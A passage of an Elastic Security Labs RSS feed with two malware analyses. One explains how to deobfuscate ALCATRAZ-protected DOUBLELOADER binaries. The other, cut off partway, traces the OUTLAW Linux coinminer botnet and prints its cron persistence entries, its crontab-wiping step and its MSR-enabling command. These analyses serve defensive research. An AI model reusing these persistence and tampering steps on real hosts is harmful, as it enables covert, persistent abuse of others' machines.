            <link>https://www.elastic.co/pt/security-labs/deobfuscating-alcatraz</link>
            <guid>deobfuscating-alcatraz</guid>
            <pubDate>Fri, 23 May 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[An exploration of techniques used by the obfuscator ALCATRAZ.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs analyzes diverse malware that comes through our threat hunting pipelines and telemetry queues. We recently ran into a new malware family called DOUBLELOADER, seen alongside the RHADAMANTHYS infostealer.  One interesting attribute of DOUBLELOADER is that it is protected with an open-source obfuscator, <a href="https://github.com/weak1337/Alcatraz">ALCATRAZ</a> first released in 2023. While this project had its roots in the game hacking community, it’s also been observed in the e-crime space, and has been used in targeted <a href="https://news.sophos.com/en-us/2024/09/10/crimson-palace-new-tools-tactics-targets/">intrusions</a>.</p>
<p>The objective of this post is to walk through various obfuscation techniques employed by ALCATRAZ, while highlighting methods to combat these techniques as malware analysts. These techniques include <a href="https://tigress.wtf/flatten.html">control flow flattening</a>, <a href="https://github.com/mike1k/perses?tab=readme-ov-file#introduction">instruction mutation</a>, constant unfolding, LEA constant hiding, anti-disassembly <a href="https://1malware1.medium.com/anti-disassembly-techniques-e012338f2ae0">tricks</a> and entrypoint obfuscation.</p>
<h3>Key takeaways</h3>
<ul>
<li>The open-source obfuscator ALCATRAZ has been seen within new malware deployed alongside RHADAMANTHYS infections</li>
<li>Obfuscation techniques such as control flow flattening continue to serve as road blocks for analysts</li>
<li>By understanding obfuscation techniques and how to counter them, organizations can improve their ability to effectively triage and analyze protected binaries.</li>
<li>Elastic Security Labs releases tooling to deobfuscate ALCATRAZ protected binaries are released with this post</li>
</ul>
<h2>DOUBLELOADER</h2>
<p>Starting last December, our team observed a generic backdoor malware coupled with <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys">RHADAMANTHYS</a> stealer infections. Based on the PDB path, this malware is self-described as DOUBLELOADER.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image6.png" alt="PDB path in DOUBLELOADER" title="PDB path in DOUBLELOADER" /></p>
<p>This malware leverages syscalls such as <code>NtOpenProcess</code>, <code>NtWriteVirtualMemory</code>, <code>NtCreateThreadEx</code> launching unbacked code within the Windows desktop/file manager (<code>explorer.exe</code>). The malware collects host information, requests an updated version of itself and starts beaconing to a hardcoded IP (<code>185.147.125.81</code>) stored within the binary.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image31.png" alt="Outbound C2 traffic from DOUBLELOADER" title="Outbound C2 traffic from DOUBLELOADER" /></p>
<p>DOUBLELOADER samples include a non-standard section (<code>.0Dev</code>) with executable permissions, this is a toolmark left based on the author's handle for the binary obfuscation tool, <a href="https://github.com/weak1337/Alcatraz"><code>ALCATRAZ</code></a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image32.png" alt="Section creation using ALCATRAZ" title="Section creation using ALCATRAZ" /></p>
<p>Obfuscators such as ALCATRAZ end up increasing the complexity when triaging malware. Its main goal is to hinder binary analysis tools and increase the time of the reverse engineering process through different techniques; such as hiding the control flow or making decompilation hard to follow. Below is an example of obfuscated control flow of one function inside DOUBLELOADER.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image5.png" alt="Obfuscated control flow in DOUBLELOADER" title="Obfuscated control flow in DOUBLELOADER" /></p>
<p>The remainder of the post will focus on the various obfuscation techniques used by ALCATRAZ. We will use the first-stage of DOUBLELOADER along with basic code examples to highlight ALCATRAZ's features.</p>
<h2>ALCATRAZ</h2>
<h3>ALCATRAZ Overview</h3>
<p>Alcatraz is an open-source obfuscator initially released in January 2023. While the project is recognized within the game hacking community as a foundational tool for learning obfuscation techniques, it’s also been observed being abused by e-crime and <a href="https://news.sophos.com/en-us/2024/09/10/crimson-palace-new-tools-tactics-targets/">APT groups</a>.</p>
<p>Alcatraz’s code base contains 5 main features centered around standard code obfuscation techniques along with enhancement to obfuscate the entrypoint. Its workflow follows a standard <code>bin2bin</code> format, this means the user provides a compiled binary then after the transformations, they will receive a new compiled binary. This approach is particularly appealing to game hackers/malware developers due to its ease of use, requiring minimal effort and no modifications at the source code level.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image29.png" alt="ALCATRAZ - menu" title="ALCATRAZ - menu" /></p>
<p>The developer can choose to obfuscate all or specific functions as well as choose which obfuscation techniques to apply to each function. After compilation, the file is generated with the string (<code>obf</code>) appended to the end of the filename.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image14.png" alt="Example of binary before and after obfuscation" title="Example of binary before and after obfuscation" /></p>
<h2>Obfuscation techniques in ALCATRAZ</h2>
<p>The following sections will go through the various obfuscation techniques implemented by ALCATRAZ.</p>
<h3>Entrypoint obfuscation</h3>
<p>Dealing with an obfuscated entrypoint is like getting a flat tire at the start of a family roadtrip. The idea is centered on confusing analysts and binary tooling where it’s not directly clear where the program starts, causing confusion at the very beginning of the analysis process.</p>
<p>The following is the view of a clean entrypoint (<code>0x140001368</code>) from a non-obfuscated program within IDA Pro.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image10.png" alt="Non-obfuscated entrypoint" title="Non-obfuscated entrypoint" /></p>
<p>By enabling entrypoint obfuscation, ALCATRAZ moves the entrypoint then includes additional code with an algorithm to calculate the new entrypoint of the program. Below is a snippet of the decompiled view of the obfuscated entry-point.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image30.png" alt="Decompilation of obfuscated entrypoint" title="Decompilation of obfuscated entrypoint" /></p>
<p>As ALCATRAZ is an open-source obfuscator, we can find the custom entrypoint <a href="https://github.com/weak1337/Alcatraz/blob/739e65ebadaeb3f8206fb2199700725331465abb/Alcatraz/obfuscator/misc/custom_entry.cpp#L20">code</a> to see how the calculation is performed or reverse our own obfuscated example. In our decompilation, we can see the algorithm uses a few fields from the PE header such as the <code>Size of the Stack Commit</code>, <code>Time Date Stamp</code> along with the first four bytes from the <code>.0dev</code> section. These fields are parsed then used with bitwise operations such as rotate right (ROR) and exclusive-or (XOR) to calculate the entrypoint.</p>
<p>Below is an example output of IDA Python script (Appendix A) that parses the PE and finds the true entrypoint, confirming the original starting point (<code>0x140001368</code>) with the non-obfuscated sample.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image18.png" alt="Real entrypoint after obfuscation" title="Real entrypoint after obfuscation" /></p>
<h3>Anti-disassembly</h3>
<p>Malware developers and obfuscators use anti-disassembly tricks to confuse or break disassemblers in order to make static analysis harder. These techniques abuse weaknesses during linear sweeps and recursive disassembly, preventing clean code reconstruction where the analyst is then forced to manually or automatically fix the underlying instructions.</p>
<p>ALCATRAZ implements one form of this technique by modifying any instructions starting with the <code>0xFF</code> byte by adding a short jump instruction ( <code>0xEB</code>) in front. The <code>0xFF</code> byte can represent the start of multiple valid instructions dealing with calls, indirect jumps, pushes on the stack. By adding the short jump  <code>0xEB</code> in front, this effectively jumps to the next byte <code>0xFF</code>. While it’s not complex, the damage is done breaking disassembly and requiring some kind of intervention.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image26.png" alt="Anti-disassembly technique in ALCATRAZ" title="Anti-disassembly technique in ALCATRAZ" /></p>
<p>In order to fix this specific technique, the file can be patched by replacing each occurrence of the <code>0xEB</code> byte with NOPs. After patching, the code is restored to a cleaner state, allowing the following <code>call</code> instruction to be correctly disassembled.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image1.png" alt="Anti-disassembly recovery" title="Anti-disassembly recovery" /></p>
<h3>Instruction Mutation</h3>
<p>One common technique used by obfuscators is instruction mutation, where instructions are transformed in a way that preserves their original behavior, but makes the code harder to understand. Frameworks such as <a href="https://tigress.wtf/index.html">Tigress</a> or <a href="https://github.com/mike1k/perses">Perses</a> are great examples of obfuscation research around instruction mutation.</p>
<p>Below is an example of this technique implemented by ALCATRAZ, where any addition between two registers is altered, but its semantic equivalence is kept intact. The simple <code>add</code> instruction gets transformed to 5 different instructions (<code>push</code>, <code>not</code>, <code>sub</code>, <code>pop</code>, <code>sub</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image9.png" alt="Example of instruction mutation via ALCATRAZ" title="Example of instruction mutation via ALCATRAZ" /></p>
<p>In order to correct this, we can use pattern matching to find these 5 instructions together, disassemble the bytes to find which registers are involved, then use an assembler such as Keystone to generate the correct corresponding bytes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image12.png" alt="Recovering instructions from mutation technique" title="Recovering instructions from mutation technique" /></p>
<h3>Constant Unfolding</h3>
<p>This obfuscation technique is prevalent throughout the DOUBLELOADER sample and is a widely used method in various forms of malware. The concept here is focused on inversing the compilation process; where instead of optimizing calculations that are known at compile time, the obfuscator “unfolds” these constants making the disassembly and decompilation complex and confusing. Below is a simple example of this technique where the known constant (<code>46</code>) is broken up into two mathematical operations.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image3.png" alt="Unfolding process example" title="Unfolding process example" /></p>
<p>In DOUBLELOADER, we run into this technique being used anytime when immediate values are moved into a register. These immediate values are replaced with multiple bitwise operations masking these constant values, thus disrupting any context and the analyst’s flow. For example, in the disassembly below on the left-hand side, there is a comparison instruction of EAX value at address (<code>0x18016CD93</code>). By reviewing the previous instructions, it’s not obvious or clear what the EAX value should be due to multiple obscure bitwise calculations. If we debug the program, we can see the EAX value is set to <code>0</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image13.png" alt="Viewing unfolding technique in debugger" title="Viewing unfolding technique in debugger" /></p>
<p>In order to clean this obfuscation technique, we can confirm its behavior with our own example where we can use the following source code and see how the transformation is applied.</p>
<pre><code class="language-c++">#include &lt;iostream&gt;

int add(int a, int b)
{
	return a + b;
}

int main()
{
	int c;
	c = add(1, 2);
	printf(&quot;Meow %d&quot;,c);
	return 0;
}
</code></pre>
<p>After compiling, we can view the disassembly of the <code>main</code> function in the clean version on the left and see these two constants (<code>2,1</code>) moved into the EDX and ECX register. On the right side, is the transformed version, the two constants are hidden among the newly added instructions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image16.png" alt="Mutation transformation: before vs after" title="Mutation transformation: before vs after" /></p>
<p>By using pattern matching techniques, we can look for these sequences of instructions, emulate the instructions to perform the various calculations to get the original values back, and then patch the remaining bytes with NOP’s to make sure the program will still run.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image20.png" alt="Using emulation to repair immediate moves" title="Using emulation to repair immediate moves" /></p>
<h3>LEA Obfuscation</h3>
<p>Similar to the previously discussed technique, LEA (Load Effective Address) obfuscation is focused on obscuring the immediate values associated with LEA instructions. An arithmetic calculation with subtraction will follow directly behind the LEA instruction to compute the original intended value. While this may seem like a minor change, it can have a significant impact breaking cross-references to strings and data — which are essential for effective binary analysis.</p>
<p>Below is an example of this technique within DOUBLELOADER where the RAX register value is disguised through a pattern of loading an initial value (<code>0x1F4DFCF4F</code>), then subtracting (<code>0x74D983C7</code>) to give us a new computed value (<code>0x180064B88</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image23.png" alt="LEA obfuscation pattern in ALCATRAZ" title="LEA obfuscation pattern in ALCATRAZ" /></p>
<p>If we go to that address inside our sample, we are taken to the read-only data section, where we can find the referenced string <code>bad array new length</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image27.png" alt="Referenced string after LEA obfuscation" title="Referenced string after LEA obfuscation" /></p>
<p>In order to correct this technique, we can use pattern matching to find these specific instructions, perform the calculation, then re-construct a new LEA instruction. Within 64-bit mode, LEA uses RIP-relative addressing so the address is calculated based on the current instruction pointer (RIP). Ultimately, we end up with a new instruction that looks like this: <code>lea rax, [rip - 0xFF827]</code>.</p>
<p>Below are the steps to produce this final instruction:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image17.png" alt="Displacement calculation for LEA instruction" title="Displacement calculation for LEA instruction" /></p>
<p>With this information, we can use IDA Python to patch all these patterns out, below is an example of a fixed LEA instruction.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image28.png" alt="Patching LEA instructions in DOUBLELOADER" title="Patching LEA instructions in DOUBLELOADER" /></p>
<h3>Control Flow Obfuscation</h3>
<p><strong>Control flow flattening</strong> is a powerful obfuscation technique that disrupts the traditional structure of a program’s control flow by eliminating conventional constructs like conditional branches and loops. Instead, it restructures execution using a centralized dispatcher, which determines the next basic block to execute based on a state variable, making analysis and decompilation significantly more difficult. Below is a simple diagram that represents the differences between an unflattened and flattened control flow.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image21.png" alt="Standard control flow vs flattened control flow" title="Standard control flow vs flattened control flow" /></p>
<p>Our team has observed this technique in various malware such as <a href="https://www.elastic.co/pt/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">DOORME</a> and it should come as no surprise in this case, that flattened control flow is one of the main <a href="https://github.com/weak1337/Alcatraz/tree/master?tab=readme-ov-file#control-flow-flattening">features</a> within the ALCATRAZ obfuscator. In order to approach un-flattening, we focused on established tooling by using IDA plugin <a href="https://eshard.com/posts/d810-deobfuscation-ida-pro">D810</a> written by security researcher Boris Batteux.</p>
<p>We will start with our previous example program using the common <code>_security_init_cookie</code> function used to detect buffer overflows. Below is the control flow diagram of the cookie initialization function in non-obfuscated form. Based on the graph, we can see there are six basic blocks, two conditional branches, and we can easily follow the execution flow.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image11.png" alt="Control flow of non-obfuscated security_init_cookie function" title="Control flow of non-obfuscated security_init_cookie function" /></p>
<p>If we take the same function and apply ALCATRAZ's control flow flattening feature, the program’s control flow looks vastly different with 22 basic blocks, 8 conditional branches, and a new dispatcher. In the figure below, the color-filled blocks represent the previous basic blocks from the non-obfuscated version, the remaining blocks in white represent added obfuscator code used for dispatching and controlling the execution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image19.png" alt="Obfuscated control flow of security_init_cookie function" title="Obfuscated control flow of security_init_cookie function" /></p>
<p>If we take a look at the decompilation, we can see the function is now broken into different parts within a <code>while</code> loop where a new <code>state</code> variable is used to guide the program along with remnants from the obfuscation including <code>popf/pushf</code> instructions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image15.png" alt="Obfuscated decompilation of security_init_cookie function" title="Obfuscated decompilation of security_init_cookie function" /></p>
<p>For cleaning this function, D810 applies two different rules (<code>UnflattenerFakeJump</code>, <code>FixPredecessorOfConditionalJumpBlock</code>) that apply microcode transformations to improve decompilation.</p>
<pre><code>2025-04-03 15:44:50,182 - D810 - INFO - Starting decompilation of function at 0x140025098
2025-04-03 15:44:50,334 - D810 - INFO - glbopt finished for function at 0x140025098
2025-04-03 15:44:50,334 - D810 - INFO - BlkRule 'UnflattenerFakeJump' has been used 1 times for a total of 3 patches
2025-04-03 15:44:50,334 - D810 - INFO - BlkRule 'FixPredecessorOfConditionalJumpBlock' has been used 1 times for a total of 2 patches
</code></pre>
<p>When we refresh the decompiler, the control-flow flattening is removed, and the pseudocode is cleaned up.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image2.png" alt="Control-flow obfuscation removed from decompilation by D810" title="Control-flow obfuscation removed from decompilation by D810" /></p>
<p>While this is a good example, fixing control-flow obfuscation can often be a manual and timely process that is function-dependent. In the next section, we will gather up some of the techniques we learned and apply it to DOUBLELOADER.</p>
<h2>Cleaning a DOUBLELOADER function</h2>
<p>One of the challenges when dealing with obfuscation in malware is not so much the individual obfuscation techniques, but when the techniques are layered. Additionally, in the case of DOUBLELOADER, large portions of code are placed in function chunks with ambiguous boundaries, making it challenging to analyze. In this section, we will go through a practical example showing the cleaning process for a DOUBLELOADER function protected by ALCATRAZ.</p>
<p>Upon launch at the <code>Start</code> export, one of the first calls goes to <code>loc_18016C6D9</code>. This appears to be an entry to a larger function, however IDA is not properly able to create a function due to undefined instructions at <code>0x18016C8C1</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image22.png" alt="Example of DoubleLoader causing error in IDA Pro" title="Example of DoubleLoader causing error in IDA Pro" /></p>
<p>If we scroll to this address, we can see the first disruption is due to the short jump anti-disassembly technique which we saw earlier in the blog post (<code>EB FF</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image24.png" alt="Anti-disassembly technique in DoubleLoader" title="Anti-disassembly technique in DoubleLoader" /></p>
<p>After fixing 6 nearby occurrences of this same technique, we can go back to the start address (<code>0x18016C6D9</code>) and use the MakeFunction feature. While the function will decompile, it is still heavily obfuscated which is not ideal for any analysis.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image7.gif" alt="DoubleLoader function with ALCATRAZ obfuscation" title="DoubleLoader function with ALCATRAZ obfuscation" /></p>
<p>Going back to the disassembly, we can see the LEA obfuscation technique used in this function below where the string constant <code>”Error”</code> is now recovered using the earlier solution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image8.gif" alt="Restoring string constant from LEA obfuscation" title="Restoring string constant from LEA obfuscation" /></p>
<p>Another example below shows the transformation of an obfuscated parameter for a <code>LoadIcon</code> call where the <code>lpIconName</code> parameter gets cleaned to <code>0x7f00</code> (<code>IDI_APPLICATION</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image25.gif" alt="Restoring LoadIcon parameter from immediate mov obfuscation" title="Restoring LoadIcon parameter from immediate mov obfuscation" /></p>
<p>Now that the decompilation has improved, we can finalize the cleanup by removing control flow obfuscation with the D810 plugin. Below is a demonstration showing the before and after effects.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image4.gif" alt="Decompilation cleanup of DoubleLoader function using D810" title="Decompilation cleanup of DoubleLoader function using D810" /></p>
<p>This section has covered a real-world scenario of working towards cleaning a malicious obfuscated function protected by ALCATRAZ. While malware analysis reports often show the final outcomes, a good portion of time is often spent up-front working towards removing obfuscation and fixing up the binary so it can then be properly analyzed.</p>
<h2>IDA Python Scripts</h2>
<p>Our team is releasing a series of proof-of-concept <a href="https://github.com/elastic/labs-releases/tree/main/tools/alcatraz">IDA Python scripts</a> used to handle the default obfuscation techniques imposed by the ALCATRAZ obfuscator. These are meant to serve as basic examples when dealing with these techniques, and should be used for research purposes. Unfortunately, there is no silver bullet when dealing with obfuscation, but having some examples and general strategies can be valuable for tackling similar challenges in the future.</p>
<h2>YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DoubleLoader.yar">Windows.Trojan.DoubleLoader</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>3050c464360ba7004d60f3ea7ebdf85d9a778d931fbf1041fa5867b930e1f7fd</code></td>
<td align="left">SHA256</td>
<td align="left"><code>DoubleLo.dll</code></td>
<td align="left">DOUBLELOADER</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://github.com/weak1337/Alcatraz">https://github.com/weak1337/Alcatraz</a></li>
<li><a href="https://gitlab.com/eshard/d810">https://gitlab.com/eshard/d810</a></li>
<li><a href="https://eshard.com/posts/d810-deobfuscation-ida-pro">https://eshard.com/posts/d810-deobfuscation-ida-pro</a></li>
<li><a href="http://keowu.re/posts/Analyzing-Mutation-Coded-VM-Protect-and-Alcatraz-English/">http://keowu.re/posts/Analyzing-Mutation-Coded-VM-Protect-and-Alcatraz-English/</a></li>
</ul>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/alcatraz.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Outlaw Linux Malware: Persistent, Unsophisticated, and Surprisingly Effective]]></title>
            <link>https://www.elastic.co/pt/security-labs/outlaw-linux-malware</link>
            <guid>outlaw-linux-malware</guid>
            <pubDate>Tue, 01 Apr 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Outlaw is a persistent Linux malware leveraging simple brute-force and mining tactics to maintain a long-lasting botnet.]]></description>
            <content:encoded><![CDATA[<h2>Preface</h2>
<p>OUTLAW is a persistent yet unsophisticated auto-propagating coinminer package observed across multiple versions over the past few years [<a href="https://www.countercraftsec.com/blog/dota3-malware-again-and-again/">1</a>], [<a href="https://blogs.juniper.net/en-us/threat-research/dota3-is-your-internet-of-things-device-moonlighting">2</a>], [<a href="https://isc.sans.edu/diary/Hygiene+Hygiene+Hygiene+Guest+Diary/31260">3</a>], [<a href="https://darktrace.com/blog/outlaw-returns-uncovering-returning-features-and-new-tactics">4</a>]. Despite lacking stealth and advanced evasion techniques, it remains active and effective by leveraging simple but impactful tactics such as SSH brute-forcing, SSH key and cron-based persistence, and manually modified commodity miners and IRC channels. This persistence highlights how botnet operators can achieve widespread impact without relying on sophisticated techniques.</p>
<p>To gain deeper insights into OUTLAW’s behavior and operational patterns, we deployed a honeypot designed to attract and observe the attackers in action. By carefully crafting an environment that mimicked a vulnerable system, we were able to bait the adversaries into interacting with our server. This interaction revealed automated and manual actions, with operators entering commands directly, making modifications on the fly, and even mistyping commands—clear indicators of human involvement. A captured GIF showcases these moments, providing a rare glimpse into their real-time decision-making process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/01-honeypot.gif" alt="Threat actors actions in a honeypot" title="Threat actors actions in a honeypot" /></p>
<p>By analyzing OUTLAW, we gain new insights into the tooling used by its operators and their evolving strategies over time. This malware presents a valuable opportunity to apply detection engineering principles, as its attack chain spans nearly the entire MITRE ATT&amp;CK framework. Examining its infection process allows us to develop effective detection strategies that capitalize on its predictable and repetitive behaviors.</p>
<p>This report provides a full attack chain analysis, including detailed detection rules and hunting queries. By breaking down OUTLAW’s components, we demonstrate how even rudimentary malware can maintain longevity in modern environments and how defenders can leverage its simplicity to enhance detection and response.</p>
<h2>Key Takeaways</h2>
<ul>
<li><strong>Persistent but unsophisticated</strong>: OUTLAW remains active despite using basic techniques like SSH brute-forcing, SSH key manipulation, and cron-based persistence.</li>
<li><strong>Commodity tooling</strong>: The malware deploys modified <code>XMRig</code> miners, leverages IRC for C2, and includes publicly available scripts for persistence and defense evasion.</li>
<li><strong>Extensive attack surface</strong>: OUTLAW’s infection chain spans nearly the entire MITRE ATT&amp;CK framework, offering many detection and hunting opportunities.</li>
<li><strong>Worm-like propagation</strong>: OUTLAW uses its compromised hosts to launch further SSH brute-force attacks on their local subnets, rapidly expanding the botnet.</li>
</ul>
<h2>OUTLAW Overview</h2>
<p>OUTLAW follows a multi-stage infection process that begins with downloading and executing its payload, establishing persistence, and expanding its botnet through SSH brute-force attacks. The execution chain is displayed below:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/02-flow.png" alt="OUTLAW infection chain overview" title="OUTLAW infection chain overview" /></p>
<p><strong>1. Initial Infection &amp; Deployment</strong></p>
<ul>
<li>The attack starts when <code>tddwrt7s.sh</code> downloads the <code>dota3.tar.gz</code> package from a C2 server.</li>
<li>The extracted <code>initall.sh</code> script executes, kicking off the infection chain.</li>
</ul>
<p><strong>2. Gaining Control &amp; Persistence</strong></p>
<ul>
<li>The malware ensures dominance by killing competing brute-forcers and miners.</li>
<li>It then deploys:
<ul>
<li>Modified XMRIG for crypto mining (connecting to a mining pool).</li>
<li>STEALTH SHELLBOT for remote control via IRC C2.</li>
<li>BLITZ to perform SSH brute force attacks.</li>
</ul>
</li>
</ul>
<p><strong>3. Propagation &amp; Expansion</strong></p>
<ul>
<li>The brute-force module retrieves target lists from an SSH C2 server and attempts SSH brute-force attacks on new machines.</li>
<li>Successfully compromised systems are infected, repeating the cycle.</li>
</ul>
<p>This automated infection loop allows OUTLAW to remain active and profitable with minimal effort from attackers. Let’s take a deeper look at the entire attack chain.</p>
<h2>OUTLAW Execution Chain</h2>
<p>OUTLAW effectively covers a wide range of tactics and techniques in the MITRE ATT&amp;CK framework. This section maps its behavior to provide an overview of its infection chain and methods.</p>
<h3>Initial Access: blitz</h3>
<p>OUTLAW gains initial access through opportunistic SSH brute-forcing, targeting systems with weak or default credentials. The malware employs its <code>blitz</code> component, also known under other names such as <code>kthreadadd</code>, to perform high-volume scanning and password-guessing attempts. It leverages lists of target IPs and credentials retrieved from its C2 servers.</p>
<p>OUTLAW also acts like a worm, automatically installing itself on every system that it successfully compromises. This self-propagation mechanism allows it to spread rapidly across networks, turning each newly infected device into another node for further brute-forcing and infection attempts.</p>
<p>We will take a deeper look into how OUTLAW performs these attacks and propagates itself later in the article.</p>
<h3>Execution: tddwrt7s.sh</h3>
<p>The first infections of OUTLAW seem to originate from a straightforward dropper script: <code>tddwrt7s.sh</code>. This shell script checks for an existing installation. If the malware is already present and unpacked, it will run the initall script, kicking off the infection chain. Otherwise, it will attempt to download the package from a list of provided staging servers. For illustration purposes, a shortened snippet of the dropper is shown below:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/03-dropper.png" alt="Dropper tddwrt7s.sh overview" title="Dropper `tddwrt7s.sh` overview" /></p>
<p>The extracted <code>dota3.tar.gz</code> package extracts its contents into a hidden folder called <code>.rsync</code>, and contains the following entries:</p>
<pre><code class="language-text"> ├── a
 │   ├── a
 │   ├── init0
 │   ├── kswapd0
 │   ├── kswapd01
 │   ├── run
 │   ├── socat
 │   └── stop
 ├── b
 │   ├── a
 │   ├── run
 │   └── stop
 ├── c
 │   ├── blitz
 │   ├── blitz32
 │   ├── blitz64
 │   ├── go
 │   ├── run
 │   ├── start
 │   ├── stop
 │   └── v
 ├── init
 ├── init2
 └── initall
</code></pre>
<p>Let’s deconstruct the execution chains one by one.</p>
<h3>Main Initialization script: initall</h3>
<p>The three <code>init</code> scripts control the overall execution flow and deployment of the malware. Starting with the <code>initall</code> script, the main initializer determines which execution path to take. It checks the system environment and decides whether to use <code>init</code> or <code>init2</code> based on file permissions and available directories.</p>
<p>These <code>init</code> scripts all use variable-based string concatenation obfuscation, where commands are split into small variable fragments that are dynamically concatenated and executed, making static analysis more difficult. For example, the <code>initall</code> script looks like this:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/04-obfuscation.png" alt="Obfuscated initall script" title="Obfuscated `initall` script" /></p>
<p>However, by changing the <code>eval</code> to an <code>echo</code>, we can get the output without any effort:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/05-deobfuscation.png" alt="De-obfuscated initall script" title="De-obfuscated `initall` script" /></p>
<p>This script will, by default, consistently execute <code>init</code>. This is the primary execution path that installs the malware in the hidden directory <code>~/.configrc6</code>. The fallback execution path is <code>init2</code>, which is used when <code>~/.configrc6</code> is inaccessible. The main difference is that this path keeps all components in the current working directory. Applying the same deobfuscation principle as we did previously, we end up with the following two scripts:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/06-subroutine.png" alt="Conditional sub-routines: init and init2" title="Conditional sub-routines: `init` and `init2`" /></p>
<p>The first script (<code>init</code>) hides its components in the hidden directory <code>~/.configrc6</code>, while the second script (<code>init2</code>) runs directly from the working directory. Despite this difference, the execution flow remains the same, starting the binary named <code>a</code> in the <code>a/</code> and <code>b/</code> directories as background processes and establishing persistence. In both scripts, the malware installs cron jobs that execute its binaries at regular intervals and on system reboots:</p>
<pre><code class="language-text">5 6 * * 0   ~/.configrc6/a/upd
@reboot     ~/.configrc6/a/upd
5 8 * * 0   ~/.configrc6/b/sync
@reboot     ~/.configrc6/b/sync
0 0 */3 * * ~/.configrc6/c/aptitude
</code></pre>
<p>Although the scripts execute the <code>a</code> binary in the <code>a/</code> and <code>b/</code> directories nearly simultaneously, we will follow the execution flow of the <code>a/</code> directory first.</p>
<h3>Subroutine Execution of a/ directory: XMRIG</h3>
<p>The first script that is executed is <code>a</code>, which removes any existing cron jobs using <code>crontab -r</code> and then stores the current working directory in a variable. It then creates a shell script called <code>upd</code> that checks if a process (stored in <code>bash.pid</code>) is still running. If the process is not running, it executes <code>./run</code> as a background process, ensuring that the malware is continuously restarted if terminated.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/outlaw-linux-malware/07-startup-a.png" alt="Startup script in the a/ directory" title="Startup script in the `a/` directory" /></p>
<p>Additionally, we see some commented commands, indicating that other versions of this malware may exist under names such as <code>rsync</code>, <code>go</code>, <code>kswapd0</code>, <code>blitz,</code> and <code>redtail</code>.</p>
<p>Further down the script, a function is created that checks if <code>/sys/module/msr/parameters/allow_writes</code> exists and sets it to &quot;on&quot; to enable writing to Model-Specific Registers (MSRs). If the file does not exist, it enables MSR writes through the <code>modprobe msr allow_writes=on</code> command.</p>
